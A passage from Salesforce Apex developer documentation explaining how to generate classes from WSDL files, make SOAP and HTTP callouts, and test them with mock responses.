 6. Click **Generate Apex**. The final page of the wizard shows which classes were successfully generated, along with any errors from other classes. The page also provides a link to view successfully generated code.

The successfully generated Apex classes include stub and type classes for calling the third-party Web service represented by the WSDL document. These classes allow you to call the external Web service from Apex. For each generated class, a second class is created with the same name and with a prefix of `Async`. The first class is for synchronous callouts. The second class is for asynchronous callouts. For more information about asynchronous callouts, see [Make Long-Running Callouts with Continuations](#).

Note the following about the generated Apex:

- If a WSDL document contains an Apex reserved word, the word is appended with `_x` when the Apex class is generated. For example, `limit` in a WSDL document converts to `limit_x` in the generated Apex class. See [Reserved Keywords](#). For details on handling characters in element names in a WSDL that are not supported in Apex variable names, see [Considerations Using WSDLs](#).
- If an operation in the WSDL has an output message with more than one element, the generated Apex wraps the elements in an inner class. The Apex method that represents the WSDL operation returns the inner class instead of the individual elements.
- Since periods (.) are not allowed in Apex class names, any periods in WSDL names used to generate Apex classes are replaced by underscores (__) in the generated Apex code.

After you have generated a class from the WSDL, you can invoke the external service referenced by the WSDL.

 **Note:** Before you can use the samples in the rest of this topic, you must copy the Apex class `docSampleClass` from [Generated WSDL2Apex Code](#) and add it to your organization.

Invoking an External Service

To invoke an external service after using its WSDL document to generate an Apex class, create an instance of the stub in your Apex code and call the methods on it. For example, to invoke the [Strikeiron IP address lookup service](#) from Apex, you could write code similar to the following:

```
// Create the stub
strikeironIplookup.DNSSoap dns = new strikeironIplookup.DNSSoap();

// Set up the license header
dns.LicenseInfo = new strikeiron.LicenseInfo();
dns.LicenseInfo.RegisteredUser = new strikeiron.RegisteredUser();
dns.LicenseInfo.RegisteredUser.UserID = 'you@company.com';
dns.LicenseInfo.RegisteredUser.Password = 'your-password';

// Make the Web service call
strikeironIplookup.DNSInfo info = dns.DNSLookup('www.myname.com');
```

HTTP Header Support

You can set the HTTP headers on a Web service callout. For example, you can use this feature to set the value of a cookie in an authorization header. To set HTTP headers, add `inputHttpHeaders_x` and `outputHttpHeaders_x` to the stub.



Note: In API versions 16.0 and earlier, HTTP responses for callouts are always decoded using UTF-8, regardless of the Content-Type header. In API versions 17.0 and later, HTTP responses are decoded using the encoding specified in the Content-Type header.

The following samples work with the sample WSDL file in [Generated WSDL2Apex Code](#) on page 621:

Sending HTTP Headers on a Web Service Callout

```
docSample.DocSamplePort stub = new docSample.DocSamplePort();
stub.inputHttpHeaders_x = new Map<String, String>();

//Setting a basic authentication header
// Tip: Use named credentials instead.
stub.inputHttpHeaders_x.put('Authorization', 'Basic QWxhZGRpbjpvYVUHNlc2FtZQ==');

//Setting a cookie header
stub.inputHttpHeaders_x.put('Cookie', 'name=value');

//Setting a custom HTTP header
stub.inputHttpHeaders_x.put('myHeader', 'myValue');

String input = 'This is the input string';
String output = stub.EchoString(input);
```

If a value for `inputHttpHeaders_x` is specified, it overrides the standard headers set.



Tip: Instead of hardcoding the `Authorization` header value, use named credentials. Named credentials offer a declarative and secure way to store and manage the credentials needed for HTTP callouts so that Salesforce can authenticate with external APIs. For more information, see [Named Credentials](#) in *Salesforce Help*.

Accessing HTTP Response Headers from a Web Service Callout Response

```
docSample.DocSamplePort stub = new docSample.DocSamplePort();
stub.outputHttpHeaders_x = new Map<String, String>();
String input = 'This is the input string';
String output = stub.EchoString(input);

//Getting cookie header
String cookie = stub.outputHttpHeaders_x.get('Set-Cookie');

//Getting custom header
String myHeader = stub.outputHttpHeaders_x.get('My-Header');
```

The value of `outputHttpHeaders_x` is null by default. You must set `outputHttpHeaders_x` before you have access to the content of headers in the response.

Supported WSDL Features

Apex supports only the document literal wrapped WSDL style and the following primitive and built-in datatypes:

Schema Type	Apex Type
xsd:anyURI	String
xsd:boolean	Boolean
xsd:date	Date
xsd:dateTime	Datetime
xsd:double	Double
xsd:float	Double
xsd:int	Integer
xsd:integer	Integer
xsd:language	String
xsd:long	Long
xsd:Name	String
xsd:NCName	String
xsd:nonNegativeInteger	Integer
xsd:NMTOKEN	String
xsd:NMTOKENS	String
xsd:normalizedString	String
xsd:NOTATION	String
xsd:positiveInteger	Integer
xsd:QName	String

Schema Type	Apex Type
xsd:short	Integer
xsd:string	String
xsd:time	Datetime
xsd:token	String
xsd:unsignedInt	Integer
xsd:unsignedLong	Long
xsd:unsignedShort	Integer

 **Note:** The Salesforce datatype `anyType` is not supported in WSDLs used to generate Apex code that is saved using API version 15.0 and later. For code saved using API version 14.0 and earlier, `anyType` is mapped to `String`.

Apex also supports the following schema constructs:

- `xsd:all`, in Apex code saved using API version 15.0 and later
- `xsd:annotation`, in Apex code saved using API version 15.0 and later
- `xsd:attribute`, in Apex code saved using API version 15.0 and later
- `xsd:choice`, in Apex code saved using API version 15.0 and later
- `xsd:element`. In Apex code saved using API version 15.0 and later, the `ref` attribute is also supported with the following restrictions:
 - You cannot call a `ref` in a different namespace.
 - A global element cannot use `ref`.
 - If an element contains `ref`, it cannot also contain `name` or `type`.
- `xsd:sequence`

The following data types are only supported when used as *call ins*, that is, when an external Web service calls an Apex Web service method. These data types are not supported as *callouts*, that is, when an Apex Web service method calls an external Web service.

- `blob`
- `decimal`
- `enum`

Apex does not support any other WSDL constructs, types, or services, including:

- RPC/encoded services
- WSDL files with multiple `portTypes`, multiple services, or multiple bindings
- WSDL files that import external schemas. For example, the following WSDL fragment imports an external schema, which is not supported:

```
<wsdl:types>
  <xsd:schema
    elementFormDefault="qualified"
    targetNamespace="http://s3.amazonaws.com/doc/2006-03-01/">
    <xsd:include schemaLocation="AmazonS3.xsd"/>
  </xsd:schema>
</wsdl:types>
```

```

</xsd:schema>
</wsdl:types>

```

However, an import within the same schema is supported. In the following example, the external WSDL is pasted into the WSDL you are converting:

```

<wsdl:types>
  <xsd:schema
    xmlns:tns="http://s3.amazonaws.com/doc/2006-03-01/"
    xmlns:xsd="http://www.w3.org/2001/XMLSchema"
    elementFormDefault="qualified"
    targetNamespace="http://s3.amazonaws.com/doc/2006-03-01/">

    <xsd:element name="CreateBucket">
      <xsd:complexType>
        <xsd:sequence>
          [...]
        </xsd:sequence>
      </xsd:complexType>
    </xsd:element>
  </xsd:schema>
</wsdl:types>

```

- Any schema types not documented in the previous table
- WSDLs that exceed the size limit, including the Salesforce WSDLs
- WSDLs that don't use the document literal wrapped style. The following WSDL snippet doesn't use document literal wrapped style and results in an "Unable to find complexType" error when imported.

```

<wsdl:types>
  <xsd:schema targetNamespace="http://test.org/AccountPollInterface/"
    xmlns:xsd="http://www.w3.org/2001/XMLSchema">
    <xsd:element name="SFDCPollAccountsResponse" type="tns:SFDCCPollResponse"/>
    <xsd:simpleType name="SFDCPollResponse">
      <xsd:restriction base="xsd:string" />
    </xsd:simpleType>
  </xsd:schema>
</wsdl:types>

```

This modified version wraps the `simpleType` element as a `complexType` that contains a sequence of elements. This follows the document literal style and is supported.

```

<wsdl:types>
  <xsd:schema targetNamespace="http://test.org/AccountPollInterface/"
    xmlns:xsd="http://www.w3.org/2001/XMLSchema">
    <xsd:element name="SFDCPollAccountsResponse" type="tns:SFDCCPollResponse" />
    <xsd:complexType name="SFDCPollResponse">
      <xsd:sequence>
        <xsd:element name="SFDCOutput" type="xsd:string" />
      </xsd:sequence>
    </xsd:complexType>
  </xsd:schema>
</wsdl:types>

```

1. [Generated WSDL2Apex Code](#)

You can generate Apex classes from a WSDL document using the WSDL2Apex tool. The WSDL2Apex tool is open source and available on GitHub.

2. Test Web Service Callouts

Generated code is saved as an Apex class containing the methods you can invoke for calling the web service. To deploy or package this Apex class and other accompanying code, 75% of the code must have test coverage, including the methods in the generated class. By default, test methods don't support web service callouts, and tests that perform web service callouts fail. To prevent tests from failing and to increase code coverage, Apex provides the built-in `WebServiceMock` interface and the `Test.setMock` method. Use `WebServiceMock` and `Test.setMock` to receive fake responses in a test method.

3. Performing DML Operations and Mock Callouts

4. Considerations Using WSDLs

Generated WSDL2Apex Code

You can generate Apex classes from a WSDL document using the WSDL2Apex tool. The WSDL2Apex tool is open source and available on GitHub.

You can find and contribute to the WSDL2Apex source code in the [WSDL2Apex repository on GitHub](#).

The following example shows how an Apex class is created from a WSDL document. The Apex class is auto-generated for you when you import the WSDL.

The following code shows a sample WSDL document.

```
<wsdl:definitions xmlns:http="http://schemas.xmlsoap.org/wsdl/http/"
  xmlns:soap="http://schemas.xmlsoap.org/wsdl/soap/"
  xmlns:s="http://www.w3.org/2001/XMLSchema"
  xmlns:soapenc="http://schemas.xmlsoap.org/soap/encoding/"
  xmlns:tns="http://doc.sample.com/docSample"
  targetNamespace="http://doc.sample.com/docSample"
  xmlns:wsdl="http://schemas.xmlsoap.org/wsdl/">

  <!-- Above, the schema targetNamespace maps to the Apex class name. -->

  <!-- Below, the type definitions for the parameters are listed.
    Each complexType and simpleType parameter is mapped to an Apex class inside the parent
    class for the WSDL. Then, each element in the complexType is mapped to a public field
    inside the class. -->

  <wsdl:types>
    <s:schema elementFormDefault="qualified"
      targetNamespace="http://doc.sample.com/docSample">
      <s:element name="EchoString">
        <s:complexType>
          <s:sequence>
            <s:element minOccurs="0" maxOccurs="1" name="input" type="s:string" />
          </s:sequence>
        </s:complexType>
      </s:element>
      <s:element name="EchoStringResponse">
        <s:complexType>
          <s:sequence>
            <s:element minOccurs="0" maxOccurs="1" name="EchoStringResult"
              type="s:string" />
          </s:sequence>
        </s:complexType>
      </s:element>
    </s:schema>
  </wsdl:types>
```

```

</s:element>
</s:schema>
</wsdl:types>

<!--The stub below defines operations. -->

<wsdl:message name="EchoStringSoapIn">
<wsdl:part name="parameters" element="tns:EchoString" />
</wsdl:message>
<wsdl:message name="EchoStringSoapOut">
<wsdl:part name="parameters" element="tns:EchoStringResponse" />
</wsdl:message>
<wsdl:portType name="DocSamplePortType">
<wsdl:operation name="EchoString">
<wsdl:input message="tns:EchoStringSoapIn" />
<wsdl:output message="tns:EchoStringSoapOut" />
</wsdl:operation>
</wsdl:portType>

<!--The code below defines how the types map to SOAP. -->

<wsdl:binding name="DocSampleBinding" type="tns:DocSamplePortType">
<wsdl:operation name="EchoString">
<soap:operation soapAction="urn:dotnet.callouttest.soap.sforce.com/EchoString"
style="document" />
<wsdl:input>
<soap:body use="literal" />
</wsdl:input>
<wsdl:output>
<soap:body use="literal" />
</wsdl:output>
</wsdl:operation>
</wsdl:binding>

<!-- Finally, the code below defines the endpoint, which maps to the endpoint in the class
-->

<wsdl:service name="DocSample">
<wsdl:port name="DocSamplePort" binding="tns:DocSampleBinding">
<soap:address location="http://YourServer/YourService" />
</wsdl:port>
</wsdl:service>
</wsdl:definitions>

```

From this WSDL document, the following Apex class is auto-generated. The class name `docSample` is the name you specify when importing the WSDL.

```

//Generated by wsdl2apex

public class docSample {
    public class EchoStringResponse_element {
        public String EchoStringResult;
        private String[] EchoStringResult_type_info = new String[]{
            'EchoStringResult',

```

```

        'http://doc.sample.com/docSample',
        null, '0', '1', 'false'};
private String[] apex_schema_type_info = new String[]{
    'http://doc.sample.com/docSample',
    'true', 'false'};
private String[] field_order_type_info = new String[]{
    'EchoStringResult'};
}
public class EchoString_element {
    public String input;
    private String[] input_type_info = new String[]{
        'input',
        'http://doc.sample.com/docSample',
        null, '0', '1', 'false'};
    private String[] apex_schema_type_info = new String[]{
        'http://doc.sample.com/docSample',
        'true', 'false'};
    private String[] field_order_type_info = new String[]{'input'};
}
public class DocSamplePort {
    public String endpoint_x = 'http://YourServer/YourService';
    public Map<String,String> inputHttpHeaders_x;
    public Map<String,String> outputHttpHeaders_x;
    public String clientCertName_x;
    public String clientCert_x;
    public String clientCertPasswd_x;
    public Integer timeout_x;
    private String[] ns_map_type_info = new String[]{
        'http://doc.sample.com/docSample', 'docSample'};
    public String EchoString(String input) {
        docSample.EchoString_element request_x = new
            docSample.EchoString_element();
        request_x.input = input;
        docSample.EchoStringResponse_element response_x;
        Map<String, docSample.EchoStringResponse_element> response_map_x =
            new Map<String, docSample.EchoStringResponse_element>();
        response_map_x.put('response_x', response_x);
        WebServiceCallout.invoke(
            this,
            request_x,
            response_map_x,
            new String[]{endpoint_x,
                'urn:dotnet.callouttest.soap.sforce.com/EchoString',
                'http://doc.sample.com/docSample',
                'EchoString',
                'http://doc.sample.com/docSample',
                'EchoStringResponse',
                'docSample.EchoStringResponse_element'
            }
        );
        response_x = response_map_x.get('response_x');
        return response_x.EchoStringResult;
    }
}
}

```

Note the following mappings from the original WSDL document:

- The WSDL target namespace maps to the Apex class name.
- Each complex type becomes a class. Each element in the type is a public field in the class.
- The WSDL port name maps to the stub class.
- Each operation in the WSDL maps to a public method.

You can use the auto-generated `docSample` class to invoke external Web services. The following code calls the `echoString` method on the external server.

```
docSample.DocSamplePort stub = new docSample.DocSamplePort();
String input = 'This is the input string';
String output = stub.EchoString(input);
```

Test Web Service Callouts

Generated code is saved as an Apex class containing the methods you can invoke for calling the web service. To deploy or package this Apex class and other accompanying code, 75% of the code must have test coverage, including the methods in the generated class. By default, test methods don't support web service callouts, and tests that perform web service callouts fail. To prevent tests from failing and to increase code coverage, Apex provides the built-in `WebServiceMock` interface and the `Test.setMock` method. Use `WebServiceMock` and `Test.setMock` to receive fake responses in a test method.

Specify a Mock Response for Testing Web Service Callouts

When you create an Apex class from a WSDL, the methods in the auto-generated class call `WebServiceCallout.invoke`, which performs the callout to the external service. When testing these methods, you can instruct the Apex runtime to generate a fake response whenever `WebServiceCallout.invoke` is called. To do so, implement the `WebServiceMock` interface and specify a fake response for the Apex runtime to send. Here are the steps in more detail.

First, implement the `WebServiceMock` interface and specify the fake response in the `doInvoke` method.

```
global class YourWebServiceMockImpl implements WebServiceMock {
    global void doInvoke(
        Object stub,
        Object request,
        Map<String, Object> response,
        String endpoint,
        String soapAction,
        String requestName,
        String responseNS,
        String responseName,
        String responseType) {

        // Create response element from the autogenerated class.
        // Populate response element.
        // Add response element to the response parameter, as follows:
        response.put('response_x', responseElement);
    }
}
```

Note:

- The class implementing the `WebServiceMock` interface can be either global or public.

- You can annotate this class with `@isTest` because it is used only in a test context. In this way, you can exclude it from your org's code size limit of 6 MB.

Now that you have specified the values of the fake response, instruct the Apex runtime to send this fake response by calling `Test.setMock` in your test method. For the first argument, pass `WebServiceMock.class`, and for the second argument, pass a new instance of your interface implementation of `WebServiceMock`, as follows:

```
Test.setMock(WebServiceMock.class, new YourWebServiceMockImpl());
```

After this point, if a web service callout is invoked in test context, the callout is not made. You receive the mock response specified in your `doInvoke` method implementation.



Note: To mock a callout if the code that performs the callout is in a managed package, call `Test.setMock` from a test method in the same package with the same namespace.

This example shows how to test a web service callout. The implementation of the `WebServiceMock` interface is listed first. This example implements the `doInvoke` method, which returns the response you specify. In this case, the response element of the auto-generated class is created and assigned a value. Next, the response Map parameter is populated with this fake response. This example is based on the WSDL listed in [Generated WSDL2Apex Code](#). Import this WSDL and generate a class called `docSample` before you save this class.

```
@isTest
global class WebServiceMockImpl implements WebServiceMock {
    global void doInvoke(
        Object stub,
        Object request,
        Map<String, Object> response,
        String endpoint,
        String soapAction,
        String requestName,
        String responseNS,
        String responseName,
        String responseType) {
        docSample.EchoStringResponse_element respElement =
            new docSample.EchoStringResponse_element();
        respElement.EchoStringResult = 'Mock response';
        response.put('response_x', respElement);
    }
}
```

This method makes a web service callout.

```
public class WebSvcCallout {
    public static String callEchoString(String input) {
        docSample.DocSamplePort sample = new docSample.DocSamplePort();
        sample.endpoint_x = 'https://example.com/example/test';

        // This invokes the EchoString method in the generated class
        String echo = sample.EchoString(input);

        return echo;
    }
}
```

This test class contains the test method that sets the mock callout mode. It calls the `callEchoString` method in the previous class and verifies that a mock response is received.

```
@isTest
private class WebSvcCalloutTest {
    @isTest static void testEchoString() {
        // This causes a fake response to be generated
        Test.setMock(WebServiceMock.class, new WebServiceMockImpl());

        // Call the method that invokes a callout
        String output = WebSvcCallout.callEchoString('Hello World!');

        // Verify that a fake result is returned
        System.assertEquals('Mock response', output);
    }
}
```

SEE ALSO:

[Apex Reference Guide: WebServiceMock Interface](#)

Performing DML Operations and Mock Callouts

By default, callouts aren't allowed after DML operations in the same transaction because DML operations result in pending uncommitted work that prevents callouts from executing. Sometimes, you might want to insert test data in your test method using DML before making a callout. To enable this, enclose the portion of your code that performs the callout within `Test.startTest` and `Test.stopTest` statements. The `Test.startTest` statement must appear before the `Test.setMock` statement. Also, the calls to DML operations must not be part of the `Test.startTest/Test.stopTest` block.

DML operations that occur after mock callouts are allowed and don't require any changes in test methods.

Performing DML Before Mock Callouts

This example is based on the previous example. The example shows how to use `Test.startTest` and `Test.stopTest` statements to allow DML operations to be performed in a test method before mock callouts. The test method (`testEchoString`) first inserts a test account, calls `Test.startTest`, sets the mock callout mode using `Test.setMock`, calls a method that performs the callout, verifies the mock response values, and finally, calls `Test.stopTest`.

```
@isTest
private class WebSvcCalloutTest {
    @isTest static void testEchoString() {
        // Perform some DML to insert test data
        Account testAcct = new Account('Test Account');
        insert testAcct;

        // Call Test.startTest before performing callout
        // but after setting test data.
        Test.startTest();

        // Set mock callout class
        Test.setMock(WebServiceMock.class, new WebServiceMockImpl());

        // Call the method that invokes a callout
        String output = WebSvcCallout.callEchoString('Hello World!');
    }
}
```

```

        // Verify that a fake result is returned
        System.assertEquals('Mock response', output);

        Test.stopTest();
    }
}

```

Asynchronous Apex and Mock Callouts

Similar to DML, asynchronous Apex operations result in pending uncommitted work that prevents callouts from being performed later in the same transaction. Examples of asynchronous Apex operations are calls to future methods, batch Apex, or scheduled Apex. These asynchronous calls are typically enclosed within `Test.startTest` and `Test.stopTest` statements in test methods so that they execute after `Test.stopTest`. In this case, mock callouts can be performed after the asynchronous calls and no changes are necessary. But if the asynchronous calls aren't enclosed within `Test.startTest` and `Test.stopTest` statements, you'll get an exception because of uncommitted work pending. To prevent this exception, do either of the following:

- Enclose the asynchronous call within `Test.startTest` and `Test.stopTest` statements.

```

Test.startTest();
MyClass.asyncCall();
Test.stopTest();

Test.setMock(..); // Takes two arguments
MyClass.mockCallout();

```

- Follow the same rules as with DML calls: Enclose the portion of your code that performs the callout within `Test.startTest` and `Test.stopTest` statements. The `Test.startTest` statement must appear before the `Test.setMock` statement. Also, the asynchronous calls must not be part of the `Test.startTest/Test.stopTest` block.

```

MyClass.asyncCall();

Test.startTest();
Test.setMock(..); // Takes two arguments
MyClass.mockCallout();
Test.stopTest();

```

Asynchronous calls that occur after mock callouts are allowed and don't require any changes in test methods.

SEE ALSO:

[Apex Reference Guide: Test Class](#)

Considerations Using WSDLs

Be aware of the following when generating Apex classes from a WSDL.

SOAP Web Service Callout

For WSDLs that require namespace changes within the SOAP requests, you must manually construct the HTTP request body and invoke the endpoint as a POST request from Apex.

Mapping Headers

Headers defined in the WSDL document become public fields on the stub in the generated class. This is similar to how the AJAX Toolkit and .NET works.

Understanding Runtime Events

The following checks are performed when Apex code is making a callout to an external service.

- For information on the timeout limits when making an HTTP request or a Web services call, see [Callout Limits and Limitations](#) on page 639.
- Circular references in Apex classes are not allowed.
- More than one loopback connection to Salesforce domains is not allowed.
- To allow an endpoint to be accessed, register it from Setup by entering *Remote Site Settings* in the **Quick Find** box, then selecting **Remote Site Settings**.
- To prevent database connections from being held up, no transactions can be open.

Understanding Unsupported Characters in Variable Names

A WSDL file can include an element name that is not allowed in an Apex variable name. The following rules apply when generating Apex variable names from a WSDL file:

- If the first character of an element name is not alphabetic, an `x` character is prepended to the generated Apex variable name.
- If the last character of an element name is not allowed in an Apex variable name, an `x` character is appended to the generated Apex variable name.
- If an element name contains a character that is not allowed in an Apex variable name, the character is replaced with an underscore (`_`) character.
- If an element name contains two characters in a row that are not allowed in an Apex variable name, the first character is replaced with an underscore (`_`) character and the second one is replaced with an `x` character. This avoids generating a variable name with two successive underscores, which is not allowed in Apex.
- Suppose you have an operation that takes two parameters, `a_` and `a_x`. The generated Apex has two variables, both named `a_x`. The class doesn't compile. Manually edit the Apex and change one of the variable names.

Debugging Classes Generated from WSDL Files

Salesforce tests code with SOAP API, .NET, and Axis. If you use other tools, you can encounter issues.

You can use the debugging header to return the XML in request and response SOAP messages to help you diagnose problems. For more information, see *SOAP API Developer Guide*: [DebuggingHeader](#).

Invoking HTTP Callouts

Apex provides several built-in classes to work with HTTP services and create HTTP requests like GET, POST, PUT, and DELETE.

You can use these HTTP classes to integrate to REST-based services. They also allow you to integrate to SOAP-based web services as an alternate option to generating Apex code from a WSDL. By using the HTTP classes, instead of starting with a WSDL, you take on more responsibility for handling the construction of the SOAP message for the request and response.

1. [HTTP Classes](#)

2. Testing HTTP Callouts

To deploy or package Apex, 75% of your code must have test coverage. By default, test methods don't support HTTP callouts, so tests that perform callouts fail. Enable HTTP callout testing by instructing Apex to generate mock responses in tests, using `Test.setMock`.

HTTP Classes

These classes expose the HTTP request and response functionality.

- [Http Class](#). Use this class to initiate an HTTP request and response.
- [HttpRequest Class](#): Use this class to programmatically create HTTP requests like GET, POST, PATCH, PUT, and DELETE.
- [HttpResponse Class](#): Use this class to handle the HTTP response returned by HTTP.

The `HttpRequest` and `HttpResponse` classes support these elements.

- `HttpRequest`
 - HTTP request types, such as GET, POST, PATCH, PUT, DELETE, TRACE, CONNECT, HEAD, and OPTIONS
 - Request headers if needed
 - Read and connection timeouts
 - Redirects if needed
 - Content of the message body
- `HttpResponse`
 - The HTTP status code
 - Response headers if needed
 - Content of the response body

This example makes an HTTP GET request to the external server passed to the `getCalloutResponseContents` method in the `url` parameter. This example also accesses the body of the returned response.

```
public class HttpCalloutSample {

    // Pass in the endpoint to be used using the string url
    public String getCalloutResponseContents(String url) {

        // Instantiate a new Http object
        Http h = new Http();

        // Instantiate a new HTTP request, specify the method (GET) as well as the endpoint
        HttpRequest req = new HttpRequest();
        req.setEndpoint(url);
        req.setMethod('GET');

        // Send the request, and return a response
        HttpResponse res = h.send(req);
        return res.getBody();
    }
}
```

The previous example runs synchronously, meaning no further processing happens until the external web service returns a response. Alternatively, you can use the [@future annotation](#) to make the callout run asynchronously.

This example makes an HTTP POST request to the external server passed to the `getPostCalloutResponseContents` method in the `url` parameter. Replace `Your_JSON_Content` with the JSON content that you want to send in the callout.

```
public class HttpPostCalloutSample {

    // Pass in the endpoint to be used using the string url
    public String getPostCalloutResponseContents(String url) {

        // Instantiate a new Http object
        Http h = new Http();

        // Instantiate a new HTTP request
        // Specify request properties such as the endpoint, the POST method, etc.
        HttpRequest req = new HttpRequest();
        req.setEndpoint(url);
        req.setMethod('POST');
        req.setHeader('Content-Type', 'application/json');
        req.setBody('{Your_JSON_Content}');

        // Send the request, and return a response
        HttpResponse res = h.send(req);
        return res.getBody();
    }
}
```

To access an external server from an endpoint or a redirect endpoint, add the remote site to a list of authorized remote sites. Log in to Salesforce and from Setup, in the Quick Find box, enter *Remote Site Settings*, and then select **Remote Site Settings**.

Use the [XML classes](#) or [JSON classes](#) to parse XML or JSON content in the body of a request created by [HttpRequest](#), or a response accessed by [HttpResponse](#).

Considerations

- The AJAX proxy handles redirects and authentication challenges (401/407 responses) automatically. For more information about the AJAX proxy, see [AJAX Toolkit documentation](#).
- You can set the endpoint as a named credential URL. A named credential URL contains the scheme `callout:`, the name of the named credential, and an optional path. For example: `callout:My_Named_Credential/some_path`. A named credential specifies the URL of a callout endpoint and its required authentication parameters in one definition. Salesforce manages all authentication for Apex callouts that specify a named credential as the callout endpoint so that your code doesn't have to. You can also skip remote site settings, which are otherwise required for callouts to external sites, for the site defined in the named credential. See [Named Credentials as Callout Endpoints](#).
- When you set a request body in the callout, set the method to `POST`. If you set a request body and the request method is `GET`, a `POST` request is performed.
- Callouts are blocked if you have pending uncommitted transactions from DML operations, queueable jobs (that are queued with `System.enqueueJob`), `Database.executeBatch`, or future methods.

Testing HTTP Callouts

To deploy or package Apex, 75% of your code must have test coverage. By default, test methods don't support HTTP callouts, so tests that perform callouts fail. Enable HTTP callout testing by instructing Apex to generate mock responses in tests, using `Test.setMock`. Specify the mock response in one of the following ways.

- By implementing the [HttpCalloutMock](#) interface

- By using Static Resources with [StaticResourceCalloutMock](#) or [MultiStaticResourceCalloutMock](#)

To enable running DML operations before mock callouts in your test methods, see [Performing DML Operations and Mock Callouts](#).

[Testing HTTP Callouts by Implementing the HttpCalloutMock Interface](#)

[Testing HTTP Callouts Using Static Resources](#)

[Performing DML Operations and Mock Callouts](#)

Testing HTTP Callouts by Implementing the HttpCalloutMock Interface

Provide an implementation for the `HttpCalloutMock` interface to specify the response sent in the `respond` method, which the Apex runtime calls to send a response for a callout.

```
global class YourHttpCalloutMockImpl implements HttpCalloutMock {
    global HTTPResponse respond(HTTPRequest req) {
        // Create a fake response.
        // Set response values, and
        // return response.
    }
}
```

 Note:

- The class that implements the `HttpCalloutMock` interface can be either global or public.
- You can annotate this class with `@isTest` since it will be used only in test context. In this way, you can exclude it from your organization's code size limit of 6 MB.

Now that you have specified the values of the fake response, instruct the Apex runtime to send this fake response by calling `Test.setMock` in your test method. For the first argument, pass `HttpCalloutMock.class`, and for the second argument, pass a new instance of your interface implementation of `HttpCalloutMock`, as follows:

```
Test.setMock(HttpCalloutMock.class, new YourHttpCalloutMockImpl() );
```

After this point, if an HTTP callout is invoked in test context, the callout is not made and you receive the mock response you specified in the `respond` method implementation.

 **Note:** To mock a callout if the code that performs the callout is in a managed package, call `Test.setMock` from a test method in the same package with the same namespace.

This is a full example that shows how to test an HTTP callout. The interface implementation (`MockHttpResponseGenerator`) is listed first. It is followed by a class containing the test method and another containing the method that the test calls. The `testCallout` test method sets the mock callout mode by calling `Test.setMock` before calling `getInfoFromExternalService`. It then verifies that the response returned is what the implemented `respond` method sent. Save each class separately and run the test in `CalloutClassTest`.

```
@isTest
global class MockHttpResponseGenerator implements HttpCalloutMock {
    // Implement this interface method
    global HTTPResponse respond(HTTPRequest req) {
        // Optionally, only send a mock response for a specific endpoint
        // and method.
        System.assertEquals('https://example.com/example/test', req.getEndpoint());
        System.assertEquals('GET', req.getMethod());
    }
}
```

```

        // Create a fake response
        HttpResponse res = new HttpResponse();
        res.setHeader('Content-Type', 'application/json');
        res.setBody('{"example":"test"}');
        res.setStatusCode(200);
        return res;
    }
}

```

```

public class CalloutClass {
    public static HttpResponse getInfoFromExternalService() {
        HttpRequest req = new HttpRequest();
        req.setEndpoint('https://example.com/example/test');
        req.setMethod('GET');
        Http h = new Http();
        HttpResponse res = h.send(req);
        return res;
    }
}

```

```

@isTest
private class CalloutClassTest {
    @isTest static void testCallout() {
        // Set mock callout class
        Test.setMock(HttpCalloutMock.class, new MockHttpResponseGenerator());

        // Call method to test.
        // This causes a fake response to be sent
        // from the class that implements HttpCalloutMock.
        HttpResponse res = CalloutClass.getInfoFromExternalService();

        // Verify response received contains fake values
        String contentType = res.getHeader('Content-Type');
        System.assert(contentType == 'application/json');
        String actualValue = res.getBody();
        String expectedValue = '{"example":"test"}';
        System.assertEquals(actualValue, expectedValue);
        System.assertEquals(200, res.getStatusCode());
    }
}

```

SEE ALSO:

[Apex Reference Guide: HttpCalloutMock Interface](#)

[Apex Reference Guide: Test Class](#)

Testing HTTP Callouts Using Static Resources

You can test HTTP callouts by specifying the body of the response you'd like to receive in a static resource and using one of two built-in classes—[StaticResourceCalloutMock](#) or [MultiStaticResourceCalloutMock](#).

Testing HTTP Callouts Using `StaticResourceCalloutMock`

Apex provides the built-in `StaticResourceCalloutMock` class that you can use to test callouts by specifying the response body in a static resource. When using this class, you don't have to provide your own implementation of the `HttpCalloutMock` interface. Instead, just create an instance of `StaticResourceCalloutMock` and set the static resource to use for the response body, along with other response properties, like the status code and content type.

First, you must create a static resource from a text file to contain the response body:

1. Create a text file that contains the response body to return. The response body can be an arbitrary string, but it must match the content type, if specified. For example, if your response has no content type specified, the file can include the arbitrary string `abc`. If you specify a content type of `application/json` for the response, the file content should be a JSON string, such as `{"hah":"fooled you"}`.
2. Create a static resource for the text file:
 - a. From Setup, enter *Static Resources* in the *Quick Find* box, then select **Static Resources**.
 - b. Click **New**.
 - c. Name your static resource.
 - d. Choose the file to upload.
 - e. Click **Save**.

To learn more about static resources, see “Defining Static Resources” in the Salesforce online help.

Next, create an instance of `StaticResourceCalloutMock` and set the static resource, and any other properties.

```
StaticResourceCalloutMock mock = new StaticResourceCalloutMock();
mock.setStaticResource('myStaticResourceName');
mock.setStatusCode(200);
mock.setHeader('Content-Type', 'application/json');
```

In your test method, call `Test.setMock` to set the mock callout mode and pass it `HttpCalloutMock.class` as the first argument, and the variable name that you created for `StaticResourceCalloutMock` as the second argument.

```
Test.setMock(HttpCalloutMock.class, mock);
```

After this point, if your test method performs a callout, the callout is not made and the Apex runtime sends the mock response you specified in your instance of `StaticResourceCalloutMock`.



Note: To mock a callout if the code that performs the callout is in a managed package, call `Test.setMock` from a test method in the same package with the same namespace.

This is a full example containing the test method (`testCalloutWithStaticResources`) and the method it is testing (`getInfoFromExternalService`) that performs the callout. Before running this example, create a static resource named `mockResponse` based on a text file with the content `{"hah":"fooled you"}`. Save each class separately and run the test in `CalloutStaticClassTest`.

```
public class CalloutStaticClass {
    public static HttpResponse getInfoFromExternalService(String endpoint) {
        HttpRequest req = new HttpRequest();
        req.setEndpoint(endpoint);
        req.setMethod('GET');
        Http h = new Http();
        HttpResponse res = h.send(req);
        return res;
    }
}
```

```

    }
}

@isTest
private class CalloutStaticClassTest {
    @isTest static void testCalloutWithStaticResources() {
        // Use StaticResourceCalloutMock built-in class to
        // specify fake response and include response body
        // in a static resource.
        StaticResourceCalloutMock mock = new StaticResourceCalloutMock();
        mock.setStaticResource('mockResponse');
        mock.setStatusCode(200);
        mock.setHeader('Content-Type', 'application/json');

        // Set the mock callout mode
        Test.setMock(HttpCalloutMock.class, mock);

        // Call the method that performs the callout
        HTTPResponse res = CalloutStaticClass.getInfoFromExternalService(
            'https://example.com/example/test');

        // Verify response received contains values returned by
        // the mock response.
        // This is the content of the static resource.
        System.assertEquals('{"hah":"fooled you"}', res.getBody());
